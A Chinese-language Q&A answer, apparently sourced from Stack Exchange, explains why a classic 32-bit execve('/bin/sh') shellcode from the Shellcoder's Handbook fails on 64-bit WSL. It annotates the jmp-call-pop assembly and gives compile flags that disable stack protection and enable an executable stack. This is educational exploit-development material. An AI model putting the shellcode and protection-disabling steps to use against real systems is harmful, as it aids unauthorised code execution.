取自Shellcoder手册的Shellcode无法生成Shell的问题求助
排查32位Shellcode在64位WSL环境下无法执行的问题
看起来你的问题出在32位Shellcode和64位编译环境不兼容上,结合你的代码和环境,我们一步步分析:
1. 先拆解你的Shellcode逻辑
这段来自《Shellcoder's Handbook》的Shellcode是经典的32位x86 Linux Shellcode,用了jmp-call-pop技术构造execve("/bin/sh", ["/bin/sh", NULL], NULL)调用,汇编逻辑如下:
jmp short 0x1c ; 跳转到后面的call指令 pop esi ; 从栈中弹出"/bin/sh"的起始地址到esi xor eax,eax ; eax置0 mov byte [esi+7],al ; 把"/bin/sh"的第8个字节设为0,让字符串以null结尾 lea ebx,[esi] ; ebx指向"/bin/sh" mov [esi+8],ebx ; 构造argv数组:argv[0] = "/bin/sh" mov [esi+0xc],eax ; argv[1] = NULL,结束数组 mov al,0xb ; eax设为0xb(32位Linux中execve的系统调用号) mov ebx,esi ; ebx = "/bin/sh"地址 lea ecx,[esi+8] ; ecx指向argv数组 lea edx,[esi+0xc] ; edx指向envp(这里是NULL) int 0x80 ; 触发系统调用 call 0x0 ; 调用前面的jmp,把"/bin/sh"地址压栈 db '/bin/sh' ; 字符串常量
逻辑本身是正确的,但它是纯32位指令,无法在64位程序的执行模式下正常运行。
2. 你的环境问题:WSL默认是64位编译
Windows 10上的Ubuntu子系统默认是64位架构,gcc默认编译生成64位二进制程序。当你的64位程序跳转到32位Shellcode执行时,CPU处于64位长模式,执行32位指令会出现指令解析错误或寄存器使用不匹配,导致execve调用失败,程序无反应。
3. 解决方案:编译为32位程序
要让这段32位Shellcode正常运行,你需要:
步骤1:安装32位编译依赖
WSL默认没有安装32位库,先执行:
sudo apt update && sudo apt install gcc-multilib libc6-dev-i386
步骤2:用-m32参数编译
修改你的编译命令,强制生成32位程序:
gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
步骤3:运行程序
执行生成的./shellcode,应该就能正常弹出/bin/sh的交互Shell了。
4. 额外调试建议
如果还是有问题,可以用gdb调试确认执行流程:
- 带调试信息编译:
gcc -m32 -g -fno-stack-protector -z execstack shellcode.c -o shellcode - 启动gdb:
gdb ./shellcode - 在main函数的返回地址处设断点,跟踪是否成功跳转到Shellcode,再单步执行指令排查哪里出错。
内容的提问来源于stack exchange,提问作者user3431573
相关产品推荐
相关产品推荐

